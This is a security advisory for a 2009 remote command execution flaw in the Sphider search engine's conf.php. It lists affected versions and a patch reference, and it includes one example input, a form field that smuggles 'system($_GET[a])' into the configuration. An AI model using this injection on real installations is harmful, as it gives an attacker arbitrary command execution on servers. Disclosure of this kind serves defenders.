Sphider 'conf.php' Remote Command Execution Vulnerability

Bugtraq ID:	36170
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 26 2009 12:00AM
Updated:	Jan 17 2011 04:31PM
Credit:	Inj3ct0r
Vulnerable:	Sphider Sphider 1.3.4 Sphider Sphider 1.2.7 Sphider Sphider 1.3
Not Vulnerable:

Sphider 'conf.php' Remote Command Execution Vulnerability

Sphider is prone to a remote command-execution vulnerability because the software fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected software and possibly the computer.

Sphider 1.3.4 and prior versions are vulnerable.

Sphider 'conf.php' Remote Command Execution Vulnerability

An attacker can exploit this issue via a browser.

The following example input is available:

<input name="_index_pdf" type="checkbox" value="0; system($_GET[a])" id="index_pdf" >

Sphider 'conf.php' Remote Command Execution Vulnerability

Solution:
A third-party patch is available. Please see the references for more information.

Sphider 'conf.php' Remote Command Execution Vulnerability

References:

• Patch (Dennis Bournique)
  
• Vendor Homepage (Sphider)